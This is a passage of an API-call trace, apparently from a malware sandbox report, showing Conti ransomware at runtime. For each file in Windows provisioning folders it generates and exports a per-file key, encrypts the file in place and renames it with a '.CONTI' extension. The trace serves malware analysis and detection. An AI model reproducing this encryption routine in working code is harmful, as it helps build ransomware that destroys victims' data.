	[0106.398] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0106.398] GetLastError () returned 0x0
	[0106.398] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=360) returned 1
	[0106.398] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x168
	[0106.398] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.398] SetEndOfFile (hFile=0x3b0) returned 1
	[0106.405] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.405] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.405] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d2b24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d2b24*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0106.411] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.411] ReadFile (in: hFile=0x3b0, lpBuffer=0xe980000, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x168, lpOverlapped=0x0) returned 1
	[0106.411] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x168, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x170) returned 1
	[0106.411] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.411] WriteFile (in: hFile=0x3b0, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x170, lpOverlapped=0x0) returned 1
	[0106.411] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.411] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d2b18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d2b18*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0106.411] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.411] CloseHandle (hObject=0x3b0) returned 1
	[0106.411] GetProcessHeap () returned 0x1720000
	[0106.411] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0106.411] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml"
	[0106.411] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.CONTI"
	[0106.411] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml.conti")) returned 1
	[0106.412] GetProcessHeap () returned 0x1720000
	[0106.412] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0106.412] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0106.412] GetProcessHeap () returned 0x1720000
	[0106.412] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0106.412] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0106.420] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x17c84f0) returned 1
	[0106.420] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x4fbf86c | out: pbData=0x17d2fb4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0106.421] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0106.423] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.423] GetLastError () returned 0x0
	[0106.423] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=3293) returned 1
	[0106.424] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcdd
	[0106.424] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.424] SetEndOfFile (hFile=0x3a8) returned 1
	[0106.424] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.424] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.424] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d2fb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d2fb4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0106.430] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.430] ReadFile (in: hFile=0x3a8, lpBuffer=0xe980000, nNumberOfBytesToRead=0xcdd, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0xcdd, lpOverlapped=0x0) returned 1
	[0106.430] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xcdd, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xce0) returned 1
	[0106.431] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.431] WriteFile (in: hFile=0x3a8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0xce0, lpOverlapped=0x0) returned 1
	[0106.431] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.431] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d2fa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d2fa8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0106.431] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.431] CloseHandle (hObject=0x3a8) returned 1
	[0106.431] GetProcessHeap () returned 0x1720000
	[0106.431] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0106.432] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0106.432] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI"
	[0106.432] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml.conti")) returned 1
	[0106.432] GetProcessHeap () returned 0x1720000
	[0106.432] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0106.432] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0106.432] GetProcessHeap () returned 0x1720000
	[0106.432] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0106.432] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0106.446] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d4680 | out: phKey=0x17d4680*=0x17c83b0) returned 1
	[0106.446] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4684, pdwDataLen=0x4fbf86c | out: pbData=0x17d4684*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0106.446] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0106.447] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.447] GetLastError () returned 0x0
	[0106.447] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=935) returned 1
	[0106.447] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3a7
	[0106.447] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.447] SetEndOfFile (hFile=0x398) returned 1
	[0106.448] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.448] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.448] WriteFile (in: hFile=0x398, lpBuffer=0x17d4684*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d4684*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0106.455] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.455] ReadFile (in: hFile=0x398, lpBuffer=0xe980000, nNumberOfBytesToRead=0x3a7, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x3a7, lpOverlapped=0x0) returned 1
	[0106.455] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x3a7, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x3b0) returned 1
	[0106.455] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.455] WriteFile (in: hFile=0x398, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x3b0, lpOverlapped=0x0) returned 1
	[0106.455] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.455] WriteFile (in: hFile=0x398, lpBuffer=0x17d4678*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d4678*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0106.455] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.455] CloseHandle (hObject=0x398) returned 1
	[0106.455] GetProcessHeap () returned 0x1720000
	[0106.455] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0106.455] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0106.455] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI"
	[0106.455] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\0__power_policy.provxml.conti")) returned 1
	[0106.456] GetProcessHeap () returned 0x1720000
	[0106.456] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0106.456] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0106.456] GetProcessHeap () returned 0x1720000
	[0106.456] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0106.456] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0106.469] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c8230) returned 1
	[0106.469] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x4fbf86c | out: pbData=0x17d2b24*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0106.469] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0106.475] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.475] GetLastError () returned 0x0
	[0106.475] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=864) returned 1
	[0106.475] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x360
	[0106.475] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.476] SetEndOfFile (hFile=0x3a0) returned 1
	[0106.476] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.476] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.476] WriteFile (in: hFile=0x3a0, lpBuffer=0x17d2b24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d2b24*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0106.478] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.478] ReadFile (in: hFile=0x3a0, lpBuffer=0xe980000, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x360, lpOverlapped=0x0) returned 1
	[0106.478] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x360, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x370) returned 1
	[0106.478] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.478] WriteFile (in: hFile=0x3a0, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x370, lpOverlapped=0x0) returned 1
	[0106.478] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.478] WriteFile (in: hFile=0x3a0, lpBuffer=0x17d2b18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d2b18*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0106.479] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.479] CloseHandle (hObject=0x3a0) returned 1
	[0106.479] GetProcessHeap () returned 0x1720000
	[0106.479] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0106.479] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0106.479] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI"
	[0106.479] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml.conti")) returned 1
	[0106.479] GetProcessHeap () returned 0x1720000
	[0106.479] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0106.479] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0106.479] GetProcessHeap () returned 0x1720000
	[0106.479] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0106.479] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0106.490] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x17c7ff0) returned 1
	[0106.490] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x4fbf86c | out: pbData=0x17d3b1c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
